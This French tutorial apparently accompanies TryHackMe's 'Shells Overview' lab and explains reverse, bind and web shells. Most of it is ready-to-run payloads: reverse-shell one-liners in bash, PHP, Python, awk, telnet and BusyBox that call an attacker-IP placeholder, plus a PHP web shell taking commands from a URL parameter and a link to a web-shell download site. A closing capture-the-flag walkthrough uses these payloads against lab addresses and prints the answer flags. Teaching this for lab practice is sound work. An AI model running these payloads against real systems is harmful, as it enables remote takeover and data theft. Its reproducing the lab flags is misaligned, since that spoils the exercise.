Vue d'ensemble des Shells en Cybersécurité

Ce guide est lié à la salle d'essai TryHackMe correspondante : https://tryhackme.com/r/room/shellsoverview

Ce document explore les différents types de Shells utilisés en cybersécurité.

Introduction

En cybersécurité, les shells constituent un élément essentiel de la chaîne d'attaque, permettant aux attaquants de contrôler à distance les systèmes compromis. Dans ce guide, nous examinerons les différents types de shells utilisés en sécurité offensive, leurs différences et leurs cas d'application. Cette connaissance permet d'améliorer les compétences en tests de pénétration et en exploitation de vulnérabilités, tout en aidant à détecter les attaquants internes lorsqu'ils utilisent des shells distants.

Objectifs d'apprentissage

Ce guide couvrira les points suivants :

  • Comprendre les différents types de shells en sécurité offensive ;
  • Apprendre à configurer et utiliser des shells inversés et des shells liés ;
  • Savoir déployer des web shells.

Prérequis

Avant de commencer, il est recommandé de maîtriser les sujets suivants :

  • Les bases des réseaux informatiques ;
  • Les fondamentaux de la sécurité des applications web ;
  • Une bonne maîtrise de la ligne de commande ;
  • La familiarité avec des langages de script comme Bash, Python ou PHP.

Remarques important

Ce guide n'aborde pas l'utilisation de Metasploit ou d'autres frameworks permettant de générer et d'interagir avec les shells. L'objectif est de se concentrer sur le fonctionnement interne des shells sans recourir à des outils préexistants. Tous les exemples utiliseront Linux comme environnement d'expérimentation.

Mise en place de l'environnement d'essai

Dans la salle d'essai TryHackMe associée, cliquez sur le bouton Start Machine pour lancer la machine virtuelle. Le chargement complet prend environ 2 minutes. Vous pouvez accéder à cette machine virtuelle dans le volet droit de l'interface fractionnée de votre navigateur. Si la machine n'est pas visible, cliquez sur le bouton bleu en haut de la page pour activer l'affichage fractionné.

Pour nos exercices impliquant des shells avec accès distant, nous utiliserons l'AttackBox fournie par TryHackMe en cliquant sur Start AttackBox en haut à gauche, ou bien votre propre machine Kali locale comme machine d'attaque.

Introduction aux Shells

Qu'est-ce qu'un Shell ?

Un shell est un logiciel qui permet aux utilisateurs d'interagir avec le système d'exploitation. Il peut s'agir d'une interface graphique, mais il s'agit généralement d'une interface en ligne de commande, selon le système d'exploitation exécuté sur la machine cible.

En cybersécurité, un shell fait généralement référence à une session shell spécifique utilisée par un attaquant pour accéder à un système compromis, lui permettant d'exécuter des commandes et des logiciels. Cela permet à l'attaquant d'effectuer diverses activités, notamment :

  • Contrôle à distance du système : Permet à l'attaquant d'exécuter à distance des commandes ou des logiciels sur le système cible.
  • Escalade de privilèges : Si l'accès initial obtenu via le shell est limité, l'attaquant peut explorer des moyens d'élever les privilèges actuels à des privilèges plus élevés ou directement à des droits d'administrateur.
  • Exfiltration de données : Une fois que l'attaquant obtient la permission d'exécuter des commandes via un shell, il peut explorer le système cible pour lire et copier des données sensibles.
  • Persistance et maintien de l'accès : Une fois l'accès shell obtenu, l'attaquant peut créer des accès ou installer des logiciels malveillants pour maintenir l'accès au système cible pour une utilisation future.
  • Activités post-exploitation : Après avoir obtenu l'accès shell, l'attaquant peut effectuer diverses activités post-exploitation, telles que le déploiement de malwares, la création de comptes cachés et la suppression d'informations.
  • Accès à d'autres systèmes du réseau : Selon les intentions de l'attaquant, le shell obtenu peut n'être qu'un point d'accès initial. L'objectif peut être d'utiliser ce shell comme relais pour sauter vers d'autres cibles via le réseau, accédant ainsi à différents points d'accès dans le réseau du système infecté. On parle alors de saut de pont (pivoting).

Questions

Quelle interface en ligne de commande permet aux utilisateurs d'interagir avec le système d'exploitation ?

Shell

Quel processus consiste à utiliser un système infecté comme relais pour attaquer d'autres machines sur le réseau ?

Pivoting

Quelles activités courantes un attaquant effectue-t-il après avoir obtenu un accès shell pour élever ses privilèges ?

Escalade de privilèges

Shells Inversés (Reverse Shells)

Les shells inversés, parfois appelés "shells de rappel", sont l'une des techniques les plus courantes pour obtenir un accès système lors d'attaques réseau. Ils établissent une connexion depuis le système cible vers l'ordinateur contrôlé par l'attaquant, ce qui permet de contourner les pare-feux et autres dispositifs de sécurité.

Fonctionnement d'un Shell Inversé

Configuration du listener avec Netcat (nc)

Utilisons maintenant l'outil Netcat pour comprendre comment un shell inversé fonctionne dans un scénario réel. Cet utilitaire, multiplateforme, permet les opérations d'entrée/sortie via le réseau.

Comme indiqué précédemment, un shell inversé se connectera à l'ordinateur contrôlé par l'attaquant, qui attendra la connexion. Utilisons donc Netcat avec la commande suivante pour écouter les connexions : nc -lvnp 443

attaquant@kali:~$ nc -lvnp 443
listening on [any] 4444 ...

La commande ci-dessus utilise l'option -l pour indiquer à Netcat d'écouter ou d'attendre une connexion, l'option -v pour activer le mode détaillé, l'option -n pour empêcher la résolution DNS (pas de recherche de noms d'hôte, utilisation d'adresses IP), et enfin, le paramètre -p spécifie le port d'écoute, qui est 443 dans cet exemple.

N'importe quel port peut être utilisé pour attendre une connexion, mais les attaquants et testeurs de pénétration ont tendance à utiliser des ports connus utilisés par d'autres applications, comme 53, 80, 8080, 443, 139 ou 445. Cela permet de masquer le trafic du shell parmi le trafic légitime et d'éviter sa détection par les dispositifs de sécurité.

Obtention d'un accès Shell Inversé

Une fois le listener configuré, l'attaquant peut exécuter ce qu'on appelle une charge utile (payload) de shell inversé. Cette charge utile exploite généralement une vulnérabilité existante sur la machine cible ou des accès non autorisés pour exécuter une commande qui expose le shell via le réseau. Il existe de nombreux types de charges utiles, en fonction des outils et du système d'exploitation de la machine infectée. Examinons quelques-uns d'entre eux.

Prenons comme exemple une charge utile nommée shell inversé par tuyau (pipe reverse shell) :

# Terminal de la machine cible
rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | bash -i 2>&1 | nc IP_ATTAQUANT PORT_ATTAQUANT >/tmp/f

Explication de cette charge utile :

  • rm -f /tmp/f - Cette commande supprime tout fichier de tuyau nommé existant dans /tmp/f/, assurant que le script puisse créer un nouveau tuyau sans conflit.
  • mkfifo /tmp/f - Cette commande crée un tuyau nommé ou FIFO (premier entré, premier sorti) à /tmp/f. Les tuyaux nommés permettent une communication bidirectionnelle entre processus, servant ici de canal d'entrée et de sortie.
  • cat /tmp/f - Cette commande lit les données à partir du tuyau, attendant l'entrée pouvant être envoyée via le tuyau.
  • | bash -i 2>&1 - La sortie de cat est redirigée via un tube vers une instance shell (bash -i), permettant à l'attaquant d'exécuter des commandes de manière interactive. 2>&1 redirige la sortie d'erreur vers la sortie standard, assurant que les messages d'erreur sont renvoyés à l'attaquant.
  • | nc IP_ATTAQUANT PORT_ATTAQUANT >/tmp/f - Cette partie redirige la sortie du shell via nc (Netcat) vers l'adresse IP (IP_ATTAQUANT) et le port (PORT_ATTAQUANT) de l'attaquant.
  • >/tmp/f - Cette dernière partie envoie la sortie de la commande vers le tuyau nommé, établissant une communication bidirectionnelle.

Cette charge utile expose un shell bash à l'écouteur de port via le réseau.

L'attaquant reçoit le Shell

Une fois cette charge utile exécutée, l'attaquant reçoit un shell inversé, comme indiqué ci-dessous, permettant d'exécuter des commandes comme dans un terminal système standard.

Sortie du terminal de l'attaquant (réception du shell inversé) :

attaquant@kali:~$ nc -lvnp 443
listening on [any] 443 ...
connect to [10.4.99.209] from (UNKNOWN) [10.10.13.37] 59964
Pour exécuter une commande en tant qu'administrateur (utilisateur "root"), utilisez "sudo ".
Voir "man sudo_root" pour plus de détails.

cible@tryhackme:~$

La sortie ci-dessus montre que la connexion provient de l'adresse IP 10.10.13.37, celle de la machine cible infectée.

Questions

Quel type de shell permet à l'attaquant d'exécuter à distance des commandes après que la cible se soit connectée à lui ?

Shell inversé

Quel outil est généralement utilisé pour configurer un listener de shell inversé ?

Netcat

Shells Liés (Bind Shells)

Comme son nom l'indique, un shell lié lie un port sur le système infecté et écoute les connexions. Lorsqu'une connexion est établie, il expose une session shell permettant à l'attaquant d'exécuter des commandes à distance.

Cette méthode peut être utilisée lorsque le système cible ne permet pas les connexions sortantes, mais elle est moins populaire car elle nécessite de rester actif et d'écouter les connexions, ce qui peut entraîner sa détection par les dispositifs de sécurité.

Fonctionnement d'un Shell Lié

Configuration d'un Bind Shell sur la machine cible

Créons un shell lié. Dans ce cas, l'attaquant peut utiliser la commande suivante sur la machine cible :

rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | bash -i 2>&1 | nc -l 0.0.0.0 8080 > /tmp/f

Explication de cette charge utile :

  • rm -f /tmp/f - Cette commande supprime tout fichier de tuyau nommé existant dans /tmp/f/, assurant que le script puisse créer un nouveau tuyau sans conflit.
  • mkfifo /tmp/f - Cette commande crée un tuyau nommé ou FIFO à /tmp/f. Les tuyaux nommés permettent une communication bidirectionnelle entre processus, servant ici de canal d'entrée et de sortie.
  • cat /tmp/f - Cette commande lit les données à partir du tuyau, attendant l'entrée pouvant être envoyée via le tuyau.
  • | bash -i 2>&1 - La sortie de cat est redirigée via un tube vers une instance shell (bash -i), permettant à l'attaquant d'exécuter des commandes de manière interactive. 2>&1 redirige la sortie d'erreur vers la sortie standard.
  • | nc -l 0.0.0.0 8080 - Démarre Netcat en mode écoute (-l) sur toutes les interfaces (0.0.0.0) et le port 8080, exposant ainsi le shell à l'attaquant lorsqu'il se connecte à ce port.
  • >/tmp/f - Cette dernière partie envoie la sortie de la commande vers le tuyau nommé, établissant une communication bidirectionnelle.

La commande ci-dessus écoute les connexions entrantes et expose un shell bash via le réseau. Notez que les ports inférieurs à 1024 nécessitent des privilèges élevés pour exécuter Netcat, évitons donc cette restriction en utilisant le port 8080.

Terminal de la machine cible (configuration du bind shell) :

cible@tryhackme:~$ rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | bash -i 2>&1 | nc -l 0.0.0.0 8080 > /tmp/f

Une fois la commande ci-dessus exécutée, elle attendra une connexion entrante sur la machine cible.

Connexion de l'attaquant au Bind Shell

Maintenant que la machine cible attend une connexion, l'attaquant peut utiliser Netcat pour établir une connexion shell avec la commande suivante :

# Terminal de l'attaquant
nc -nv IP_CIBLE 8080

Explication de cette commande :

  • nc - Appelle Netcat, qui établira une connexion avec la machine cible.
  • -n - Désactive la résolution DNS, rendant Netcat plus rapide et évitant des recherches inutiles.
  • -v - Mode détaillé, fournissant des informations sur le processus de connexion, comme son établissement.
  • IP_CIBLE - Adresse IP de l'ordinateur cible exécutant le shell lié.
  • 8080 - Numéro de port sur lequel le shell lié écoute.

Terminal de l'attaquant (après connexion réussie) :

attaquant@kali:~$ nc -nv 10.10.13.37 8080 
(UNKNOWN) [10.10.13.37] 8080 (http-alt) open
cible@tryhackme:~$

Après connexion réussie, nous obtenons un shell et pouvons exécuter des commandes, comme indiqué ci-dessus.

Questions

Quel type de shell ouvre un port spécifique sur la cible pour recevoir des connexions entrantes de l'attaquant ?

Shell lié

Sous quel numéro de port l'écoute nécessite-t-elle des droits d'accès root ou des privilèges élevés ?

1024

Listeners de Shell

Comme nous l'avons vu précédemment, un shell inversé établit une connexion depuis la machine cible compromise vers l'ordinateur contrôlé par l'attaquant. Des utilitaires comme Netcat gèrent ces connexions et permettent à l'attaquant d'interagir avec le shell exposé, mais Netcat n'est pas le seul outil capable de faire cela.

Explorons d'autres outils qui peuvent servir de listeners et interagir avec les shells entrants.

Rlwrap

Rlwrap est un petit utilitaire qui utilise la bibliothèque GNU readline pour fournir des fonctionnalités d'édition de clavier et d'historique.

Exemple d'utilisation - Amélioration d'un Shell Netcat avec Rlwrap

attaquant@kali:~$ rlwrap nc -lvnp 443
listening on [any] 443 ...

Cet exemple enveloppe nc avec rlwrap, permettant d'utiliser les touches de direction (flèches) et l'historique pour une meilleure interaction.

Ncat

Ncat est une version améliorée de Netcat publiée dans le projet NMAP, offrant des fonctionnalités supplémentaires comme le chiffrement (SSL).

Exemple d'utilisation - Écoute d'un shell inversé

attaquant@kali:~$ ncat -lvnp 4444
Ncat: Version 7.94SVN ( https://nmap.org/ncat )
Ncat: Listening on [::]:443
Ncat: Listening on 0.0.0.0:443

Exemple d'utilisation - Écoute d'un shell inversé avec SSL

attaquant@kali:~$ ncat --ssl -lvnp 4444
Ncat: Version 7.94SVN ( https://nmap.org/ncat )
Ncat: Generating a temporary 2048-bit RSA key. Use --ssl-key and --ssl-cert to use a permanent one.
Ncat: SHA-1 fingerprint: B7AC F999 7FB0 9FF9 14F5 5F12 6A17 B0DC B094 AB7F
Ncat: Listening on [::]:443
Ncat: Listening on 0.0.0.0:443

Le paramètre --ssl dans l'exemple ci-dessus active le chiffrement SSL pour le listener.

Socat

C'est un utilitaire qui permet de créer des connexions de socket entre deux sources de données (dans ce cas, deux hôtes différents).

Exemple d'utilisation par défaut - Écoute d'un shell inversé

attaquant@kali:~$ socat -d -d TCP-LISTEN:443 STDOUT
2024/09/23 15:44:38 socat[41135] N listening on AF=2 0.0.0.0:443

La commande ci-dessus utilise l'option -d pour activer la sortie détaillée, l'utiliser à nouveau (-d -d) augmente le niveau de détail. L'option TCP-LISTEN:443 crée un écouteur TCP sur le port 443, établissant un socket serveur pour les connexions entrantes. Enfin, l'option STDOUT redirige toutes les données entrantes vers le terminal.

Questions

Quel outil réseau flexible permet de créer des connexions de socket entre deux sources de données ?

Socat

Quel utilitaire en ligne de commande fournit des fonctionnalités d'édition de style readline et d'historique de commandes pour les programmes qui en manquent, améliorant ainsi l'interaction avec les listeners de shell ?

Rlwrap

Quelle est la version améliorée de Netcat publiée avec le projet Nmap, offrant des fonctionnalités supplémentaires comme le support SSL pour le chiffrement des shells ?

Ncat

Charges Utiles de Shell

Les charges utiles de shell peuvent être des commandes ou des scripts qui exposent un shell aux connexions entrantes dans le cas d'un shell lié, ou qui exposent un shell aux connexions sortantes dans le cas d'un shell inversé.

Explorons quelques charges utiles utilisables sur les systèmes d'exploitation Linux pour exposer un shell via les shells inversés les plus populaires.

Bash

Shell inversé Bash standard

cible@tryhackme:~$ bash -i >& /dev/tcp/IP_ATTAQUANT/443 0>&1

Ce shell inversé démarre un shell bash interactif qui redirige l'entrée et la sortie via une connexion TCP vers l'adresse IP de l'attaquant (IP_ATTAQUANT) sur le port 443. L'opérateur >& combine la sortie standard et la sortie d'erreur.

Shell inversé Bash avec Read Line

cible@tryhackme:~$ exec 5<>/dev/tcp/IP_ATTAQUANT/443; cat <&5 | while read line; do $line 2>&5 >&5; done

Ce shell inversé crée un nouveau descripteur de fichier (ici 5) et se connecte à un socket TCP. Il lit les commandes depuis ce socket et les exécute, renvoyant la sortie via la même connexion.

Shell inversé Bash avec descripteur de fichier 196

cible@tryhackme:~$ 0<&196;exec 196<>/dev/tcp/IP_ATTAQUANT/443; sh <&196 >&196 2>&196

Ce shell inversé utilise un descripteur de fichier (ici 196) pour établir une connexion TCP, permettant au shell de lire les commandes depuis le réseau et d'y renvoyer la sortie.

Shell inversé Bash avec descripteur de fichier 5

cible@tryhackme:~$ bash -i 5<> /dev/tcp/IP_ATTAQUANT/443 0<&5 1>&5 2>&5

Similaire au premier exemple, cette commande ouvre un shell (bash -i) mais utilise le descripteur de fichier 5 pour l'entrée et la sortie, activant une session interactive via la connexion TCP.

PHP

Shell inversé PHP avec la fonction exec

cible@tryhackme:~$ php -r '$sock=fsockopen("IP_ATTAQUANT",443);exec("sh <&3 >&3 2>&3");'

Ce shell inversé crée une connexion socket vers l'IP de l'attaquant sur le port 443 et utilise la fonction exec pour exécuter une instance shell, redirigeant l'entrée et la sortie standard.

Shell inversé PHP avec la fonction shell_exec

cible@tryhackme:~$ php -r '$sock=fsockopen("IP_ATTAQUANT",443);shell_exec("sh <&3 >&3 2>&3");'

Similaire à la commande précédente, mais utilise la fonction shell_exec.

Shell inversé PHP avec la fonction system

cible@tryhackme:~$ php -r '$sock=fsockopen("IP_ATTAQUANT",443);system("sh <&3 >&3 2>&3");'

Ce shell inversé utilise la fonction system, qui exécute une commande et affiche le résultat dans le navigateur.

Shell inversé PHP avec la fonction passthru

cible@tryhackme:~$ php -r '$sock=fsockopen("IP_ATTAQUANT",443);passthru("sh <&3 >&3 2>&3");'

Ce shell inversé utilise la fonction passthru pour exécuter une commande et renvoyer la sortie brute, utile pour traiter des données binaires.

Shell inversé PHP avec la fonction popen

cible@tryhackme:~$ php -r '$sock=fsockopen("IP_ATTAQUANT",443);popen("sh <&3 >&3 2>&3", "r");'

Ce shell inversé utilise la fonction popen pour ouvrir un pointeur de processus, permettant l'exécution d'un shell.

Python

Shell inversé Python avec variables d'environnement

cible@tryhackme:~$ export RHOST="IP_ATTAQUANT"; export RPORT=443; python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("bash")'

Ce shell inversé définit l'hôte distant et le port comme variables d'environnement, crée une connexion socket et duplique le descripteur de fichier du socket pour l'entrée/sortie standard.

Shell inversé Python avec le module subprocess

cible@tryhackme:~$ python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.4.99.209",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("bash")'

Ce shell inversé utilise le module subprocess pour générer un shell et configure un environnement similaire à l'exemple précédent.

Shell inversé Python simplifié

cible@tryhackme:~$ python -c 'import os,pty,socket;s=socket.socket();s.connect(("IP_ATTAQUANT",443));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("bash")'

Ce shell inversé crée un socket (s), se connecte à l'attaquant, et utilise os.dup2() pour rediriger l'entrée, la sortie et les erreurs standards vers le socket.

Autres

Telnet distant

cible@tryhackme:~$ TF=$(mktemp -u); mkfifo $TF && telnet IP_ATTAQUANT443 0<$TF | sh 1>$TF

Ce shell inversé utilise mkfifo pour créer un tuyau nommé et se connecte via Telnet à l'adresse IP IP_ATTAQUANT et au port 443.

AWK

cible@tryhackme:~$ awk 'BEGIN {s = "/inet/tcp/0/IP_ATTAQUANT/443"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null

Ce shell inversé utilise la fonction TCP intégrée d'AWK pour se connecter à IP_ATTAQUANT:443, lire les commandes de l'attaquant, les exécuter, et renvoyer les résultats via la même connexion TCP.

BusyBox

cible@tryhackme:~$ busybox nc IP_ATTAQUANT 443 -e sh

Ce shell inversé BusyBox utilise Netcat (nc) pour se connecter à IP_ATTAQUANT:443 et exécute /bin/sh une fois la connexion établie, exposant le shell à l'attaquant.

Questions

Dans les évaluations de sécurité, quel module Python est généralement utilisé pour gérer les commandes shell et établir des connexions de shell inversé ?

subprocess

Parmi les langages de script courants, quel langage utilise les fonctions exec, shell_exec, system, passthru et popen pour exécuter des commandes à distance via une connexion TCP ?

PHP

Quel langage de script peut utiliser des variables d'environnement pour créer un shell inversé et établir des connexions socket ?

Python

Web Shells

Les web shells sont des scripts écrits dans un langage pris en charge par le serveur web compromis, permettant à un attaquant d'exécuter des commandes via le serveur web lui-même. Un web shell est généralement un fichier contenant du code pour exécuter des commandes et gérer des fichiers, qui peut être caché dans une application web ou un service compromis, le rendant difficile à détecter et donc très populaire auprès des attaquants.

Les web shells peuvent être écrits dans de nombreux langages pris en charge par les serveurs web, tels que PHP, ASP, JSP, ou même de simples scripts CGI.

Exemple de Web Shell PHP

Examinons un exemple de web shell PHP pour comprendre leur fonctionnement :

<?php
if (isset($_GET['cmd'])) {
    system($_GET['cmd']);
}
?>

Ce shell peut être enregistré dans un fichier avec extension PHP, tel que shell.php. L'attaquant peut alors exploiter des vulnérabilités comme le téléchargement de fichiers non restreint, l'inclusion de fichiers, ou l'injection de commandes pour télécharger ce fichier sur le serveur web cible, ou simplement le transférer après avoir obtenu un accès non autorisé.

Une fois déployé sur le serveur cible, nous pouvons accéder au web shell via son URL, dans ce cas http://victim.com/uploads/shell.php. Comme nous pouvons le voir dans le code de shell.php, nous devons lui fournir une méthode GET avec une variable cmd contenant la commande spécifique que nous voulons exécuter sur le serveur cible. Par exemple, pour exécuter la commande whoami, l'URL de requête serait :

http://victim.com/uploads/shell.php?cmd=whoami

Cette URL exécute la commande whoami et affiche le résultat dans le navigateur web.

Web shells existants en ligne

La puissance des langages pris en charge par les serveurs web permet aux web shells d'avoir de nombreuses fonctionnalités tout en étant configurés pour éviter la détection. Explorons quelques web shells populaires disponibles en ligne :

  • p0wny-shell - Un simple web shell PHP en un seul fichier, permettant aux attaquants d'effectuer des exécutions de commandes à distance.
  • b374k shell - Un web shell PHP plus riche en fonctionnalités, avec gestion de fichiers et exécution de commandes.
  • c99 shell - Un web shell PHP puissant et bien connu, avec un large éventail de fonctionnalités.

Vous pouvez trouver plus de web shells à l'adresse suivante :

https://www.r57shell.net/index.php

Questions

Quel type de vulnérabilité permet à un attaquant de télécharger des scripts malveillants via une mauvaise configuraton de téléchargement de fichiers non restreint ?

Téléchargement de fichiers non restreint

Quel script malveillant peut être téléchargé sur une application web vulnérable pour obtenir un accès non autorisé ?

Web Shell

Exercice Pratique

Maintenant que nous connaissons les différents types de shells, testons nos connaissances par la pratique et obtenons un flag au format THM {} à partir d'un serveur web vulnérable.

Cliquez sur le bouton Start Machine pour lancer la machine virtuelle utilisée pour cet exercice.

Une fois la machine cible déployée avec succès, nous pouvons accéder aux différentes cibles d'attaque via les URL suivantes :

  • IP_MACHINE:8080 : Héberge une page de connexion.
  • IP_MACHINE:8081 : Héberge une application web vulnérable à l'injection de commandes.
  • IP_MACHINE:8082 : Héberge une application web vulnérable au téléchargement de fichiers non restreint.

Vous pouvez utiliser l'AttackBox pour accéder à ces contenus ou votre propre machine Kali locale via le VPN fourni par TryHackMe.

Note : Attendez 2 minutes pour que la machine virtuelle démarre complètement.

Questions

Pour la cible IP_MACHINE:8081, utilisez un shell inversé ou un shell lié pour exploiter la vulnérabilité d'injection de commandes et obtenir un shell. Quel est le contenu du flag enregistré dans le répertoire / de la cible ?

astuce : Placez correctement votre charge utile de shell inversé (exécutez la payload dans le terminal de la machine cible).

Configurez un listener de port sur le terminal de l'attaquant : nc -lvnp 4445

#étape 1 démarrer netcat sur le terminal de l'attaquant
nc -lvnp 4445

Dans le navigateur de l'attaquant, accédez à la page cible (10.10.228.254:8081) et exécutez la Payload :

#étape 2 payload nommé tuyau inverse shell (Utilisation d'un shell inversé ou lié) - exécuter sur la machine cible, ici sur une page du site cible.
#rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | sh -i 2>&1 | nc [IP_ATTAQUANT] 4445 >/tmp/f
rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | sh -i 2>&1 | nc 10.10.17.3 4445 >/tmp/f

Retournez au terminal de l'attaquant et utilisez le shell obtenu pour afficher le contenu du fichier spécifié :

#étape 3 trouver le flag
root@ip-10-10-17-3:~# nc -lvnp 4445
Listening on 0.0.0.0 4445
Connection received on 10.10.228.254 41768
sh: 0: can't access tty; job control turned off
$ ls
hello.txt
index.php
style.css
$ cd /
$ ls
bin
boot
dev
etc
flag.txt
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
$ cat flag.txt
THM{0f28b3e1b00becf15d01a1151baf10fd713bc625}

THM{0f28b3e1b00becf15d01a1151baf10fd713bc625}

Pour la cible IP_MACHINE:8082, utilisez un web shell pour exploiter la vulnérabilité de téléchargement de fichiers non restreint et obtenir un shell, puis affichez le contenu du flag enregistré dans le répertoire / de la cible.

astuce : Utilisez la payload étudiée dans la section 7 pour créer un fichier nommé shell.php. Dans notre environnement d'essai, tous les fichiers téléchargés seront stockés dans le répertoire /uploads/ du site cible.

Sur la machine d'attaquant, créez un fichier nommé shell.php avec le contenu suivant :

<?php
echo "";
echo "Contenu du flag :\n";
echo file_get_contents('/flag.txt');
echo "";
?>

Ce shell.php nous aide à afficher directement le contenu du fichier /flag.txt, mais nous pouvons aussi utiliser le contenu suivant :

<?php
if (isset($_GET['cmd'])) {
    system($_GET['cmd']);
}
?>

Après avoir créé le fichier shell.php, accédez à la page cible (10.10.228.254:8082) dans votre navigateur et téléchargez le fichier :

Afficher le flag (si vous avez choisi le premier exemple de shell.php) :

10.10.228.254:8082/uploads/shell.php

Afficher le flag (si vous avez choisi le deuxième exemple de shell.php) :

Note : Si vous avez choisi le deuxième exemple de shell.php, après avoir téléchargé le fichier, vous devrez construire une URL pour afficher le contenu du fichier spécifique. L'URL de requête devrait être : http://10.10.228.254:8082/uploads/shell.php?cmd=cat%20/flag.txt.

THM{202bb14ed12120b31300cfbbbdd35998786b44e5}

Conclusion

Dans ce guide, nous avons étudié les shells inversés, les shells liés et les web shells, comprenant leur importance pour les attaquants, les testeurs de pénétration et les défenseurs, ainsi que leur identification.

Les shells inversés établissent une connexion de l'ordinateur cible compromis vers la machine de l'attaquant. D'autre part, les shells liés écoutent les connexions entrantes (initiées par l'attaquant) sur l'ordinateur cible compromis, tandis que les web shells offrent aux attaquants une voie unique pour exploiter les vulnérabilités des applications web.

La compréhension des shells est essentielle pour les professionnels de la cybersécurité afin d'effectuer des tests de pénétration et d'identifier et de défendre les systèmes.

Étiquettes: shells inversés shells liés web shells Cybersécurité pénétration

Publié le 7 juillet à 18h23

Étiquettes Populaires

©2026 L'Atelier Monstre